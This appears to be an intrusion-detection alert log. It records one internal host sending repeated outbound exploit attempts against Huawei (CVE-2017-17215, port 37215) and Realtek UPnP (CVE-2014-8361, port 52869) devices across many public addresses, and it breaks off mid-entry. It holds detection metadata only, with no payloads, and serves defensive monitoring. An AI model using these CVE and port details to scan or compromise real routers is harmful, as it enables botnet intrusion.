Timestamp:	07/20/24-23:01:59.292118
SID:	2835222
Source Port:	60550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.241.124.28

Timestamp:	07/20/24-23:01:34.942495
SID:	2027339
Source Port:	33934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.69.237.0

Timestamp:	07/20/24-23:01:05.542205
SID:	2027339
Source Port:	54374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 153.32.219.22

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	60090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.105.20.105

Timestamp:	07/20/24-23:01:22.804406
SID:	2829579
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.212.188

Timestamp:	07/20/24-23:01:28.196416
SID:	2835222
Source Port:	60728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 107.169.50.209

Timestamp:	07/20/24-23:01:29.170915
SID:	2831300
Source Port:	33948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.162.189.105

Timestamp:	07/20/24-23:01:02.411663
SID:	2829579
Source Port:	50544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.54.132.20

Timestamp:	07/20/24-23:01:37.227565
SID:	2835222
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 187.235.69.197

Timestamp:	07/20/24-23:01:13.332051
SID:	2831300
Source Port:	33906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.186.3.173

Timestamp:	07/20/24-23:01:02.409019
SID:	2835222
Source Port:	60986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.67.89.6

Timestamp:	07/20/24-23:01:22.792913
SID:	2829579
Source Port:	60158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 1.119.230.113

Timestamp:	07/20/24-23:01:34.899596
SID:	2831300
Source Port:	58332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.70.92.77

Timestamp:	07/20/24-23:01:21.298389
SID:	2027339
Source Port:	53156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 135.98.136.137

Timestamp:	07/20/24-23:01:25.227766
SID:	2027339
Source Port:	39352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 222.247.173.186

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	50500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.226.90

Timestamp:	07/20/24-23:01:05.893818
SID:	2835222
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.36.6.236

Timestamp:	07/20/24-23:01:14.396917
SID:	2835222
Source Port:	50242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 80.229.248.142

Timestamp:	07/20/24-23:01:24.997585
SID:	2025132
Source Port:	49562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 114.173.101.131

Timestamp:	07/20/24-23:01:05.871044
SID:	2025132
Source Port:	56844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 38.32.235.210

Timestamp:	07/20/24-23:01:13.334997
SID:	2831300
Source Port:	50684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.199.66.178

Timestamp:	07/20/24-23:01:07.465802
SID:	2027339
Source Port:	51724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 131.109.219.124

Timestamp:	07/20/24-23:01:34.945581
SID:	2831300
Source Port:	57322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.156.152.13

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	56264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.177.125.202

Timestamp:	07/20/24-23:01:02.414527
SID:	2829579
Source Port:	57698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 170.123.158.68

Timestamp:	07/20/24-23:01:13.329204
SID:	2027339
Source Port:	40100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 52.100.4.60

Timestamp:	07/20/24-23:01:34.939612
SID:	2831300
Source Port:	40636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.231.66.1

Timestamp:	07/20/24-23:01:13.333560
SID:	2027339
Source Port:	43006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.213.179.125

Timestamp:	07/20/24-23:01:05.776042
SID:	2027339
Source Port:	37992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.249.253.104

Timestamp:	07/20/24-23:01:19.220285
SID:	2829579
Source Port:	57664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.187.212.131

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	53210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.240.121

Timestamp:	07/20/24-23:01:37.120918
SID:	2835222
Source Port:	42896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 71.96.116.185

Timestamp:	07/20/24-23:01:05.943931
SID:	2025132
Source Port:	52456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.101.13

Timestamp:	07/20/24-23:01:25.284909
SID:	2829579
Source Port:	46782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.159.16.125

Timestamp:	07/20/24-23:01:13.330897
SID:	2831300
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 90.146.163.93

Timestamp:	07/20/24-23:01:06.650057
SID:	2025132
Source Port:	55368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 88.254.0.55

Timestamp:	07/20/24-23:01:33.848107
SID:	2025132
Source Port:	52434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.139.121.233

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	52838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 207.154.52.96

Timestamp:	07/20/24-23:01:25.489348
SID:	2027339
Source Port:	39094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 23.185.180.14

Timestamp:	07/20/24-23:01:24.075444
SID:	2027339
Source Port:	50780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.241.55.97

Timestamp:	07/20/24-23:01:11.474688
SID:	2835222
Source Port:	36486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.21.193.219

Timestamp:	07/20/24-23:01:02.414527
SID:	2835222
Source Port:	58460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 52.29.198.133

Timestamp:	07/20/24-23:01:29.171690
SID:	2027339
Source Port:	41804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.180.168

Timestamp:	07/20/24-23:01:02.414528
SID:	2829579
Source Port:	60422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.230.178

Timestamp:	07/20/24-23:01:14.397786
SID:	2835222
Source Port:	51238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 203.116.243.30

Timestamp:	07/20/24-23:01:30.986774
SID:	2025132
Source Port:	46482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.202.247

Timestamp:	07/20/24-23:01:02.413579
SID:	2829579
Source Port:	56066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.58.61.9

Timestamp:	07/20/24-23:01:05.782973
SID:	2027339
Source Port:	43462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.187.126

Timestamp:	07/20/24-23:01:28.143148
SID:	2835222
Source Port:	36830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.118.97.45

Timestamp:	07/20/24-23:01:33.040755
SID:	2835222
Source Port:	44712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 54.211.16.108

Timestamp:	07/20/24-23:01:22.991703
SID:	2025132
Source Port:	51302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.0.91

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	60998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.180.122.90

Timestamp:	07/20/24-23:01:05.773628
SID:	2027339
Source Port:	44526
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 89.251.44.55

Timestamp:	07/20/24-23:01:34.685918
SID:	2025132
Source Port:	55730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.160.7.24

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	51054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.231.66.1

Timestamp:	07/20/24-23:01:06.216684
SID:	2027339
Source Port:	41774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 17.165.228.4

Timestamp:	07/20/24-23:01:34.900554
SID:	2027339
Source Port:	57816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 23.185.180.14

Timestamp:	07/20/24-23:01:22.862534
SID:	2025132
Source Port:	50534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.10.119

Timestamp:	07/20/24-23:01:14.457357
SID:	2829579
Source Port:	49930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.19.201.2

Timestamp:	07/20/24-23:01:22.779210
SID:	2829579
Source Port:	50010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.235.27

Timestamp:	07/20/24-23:01:19.225297
SID:	2835222
Source Port:	52264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.20.90.81

Timestamp:	07/20/24-23:01:33.382308
SID:	2025132
Source Port:	33694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.50.39.180

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	39332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.148.15.6

Timestamp:	07/20/24-23:01:37.224827
SID:	2835222
Source Port:	38944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.199.141.7

Timestamp:	07/20/24-23:01:25.127718
SID:	2027339
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.54.159

Timestamp:	07/20/24-23:01:37.122115
SID:	2829579
Source Port:	57518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.113.216.32

Timestamp:	07/20/24-23:01:25.348386
SID:	2027339
Source Port:	57192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.46.63

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	54726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 98.212.47.174

Timestamp:	07/20/24-23:01:13.333720
SID:	2027339
Source Port:	48284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.62.141

Timestamp:	07/20/24-23:01:02.409019
SID:	2829579
Source Port:	54852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 19.130.123.151

Timestamp:	07/20/24-23:01:06.571768
SID:	2027339
Source Port:	52350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.167.156

Timestamp:	07/20/24-23:01:37.121609
SID:	2829579
Source Port:	48214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.253.42

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	52780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.8.125.187

Timestamp:	07/20/24-23:01:34.928965
SID:	2027339
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 111.86.157.53

Timestamp:	07/20/24-23:01:13.332449
SID:	2831300
Source Port:	37262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.193.50

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	45606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.141.211.31

Timestamp:	07/20/24-23:01:13.335386
SID:	2027339
Source Port:	37858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.107.88.82

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	35850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.3.41.152

Timestamp:	07/20/24-23:01:13.333560
SID:	2027339
Source Port:	59548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.248.16.87

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	44148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.36.141

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	34592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.72.43

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	34252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.46.214.138

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	48452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 130.69.123.40

Timestamp:	07/20/24-23:01:05.565667
SID:	2027339
Source Port:	33754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.110.196.75

Timestamp:	07/20/24-23:01:33.037346
SID:	2829579
Source Port:	48318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 23.217.181.6

Timestamp:	07/20/24-23:01:32.304172
SID:	2025132
Source Port:	34960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 119.229.5.254

Timestamp:	07/20/24-23:01:34.899868
SID:	2831300
Source Port:	59132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 91.148.85.48

Timestamp:	07/20/24-23:01:14.396807
SID:	2835222
Source Port:	39116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.60.217

Timestamp:	07/20/24-23:01:28.196416
SID:	2829579
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 79.118.207.216

Timestamp:	07/20/24-23:01:33.727604
SID:	2025132
Source Port:	58358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 107.169.50.209

Timestamp:	07/20/24-23:01:24.495331
SID:	2025132
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 51.61.18.6

Timestamp:	07/20/24-23:01:31.132775
SID:	2025132
Source Port:	42504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.146.163.93

Timestamp:	07/20/24-23:01:13.334388
SID:	2027339
Source Port:	56612
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.52.15.30

Timestamp:	07/20/24-23:01:06.007807
SID:	2027339
Source Port:	54724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.217.48.202

Timestamp:	07/20/24-23:01:14.406186
SID:	2829579
Source Port:	52670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 162.57.74.72

Timestamp:	07/20/24-23:01:13.331147
SID:	2831300
Source Port:	36460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.33.66

Timestamp:	07/20/24-23:01:14.401003
SID:	2829579
Source Port:	59954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 201.35.76.112

Timestamp:	07/20/24-23:01:33.100578
SID:	2835222
Source Port:	34396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 46.8.125.37

Timestamp:	07/20/24-23:01:34.983816
SID:	2831300
Source Port:	35340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 45.152.27.139

Timestamp:	07/20/24-23:01:34.983816
SID:	2027339
Source Port:	33344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.81.248.145

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	35994
Destination Port:	37215
Protocol:	TCP
